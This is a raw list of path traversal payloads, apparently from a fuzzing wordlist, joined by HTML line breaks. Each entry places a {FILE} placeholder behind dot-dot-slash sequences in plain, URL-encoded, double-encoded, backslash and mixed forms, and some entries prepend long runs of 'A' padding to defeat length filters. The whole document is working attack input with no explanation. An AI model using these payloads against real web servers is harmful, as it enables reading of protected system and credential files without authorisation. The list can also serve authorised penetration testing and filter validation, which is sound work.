%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE}<br /> 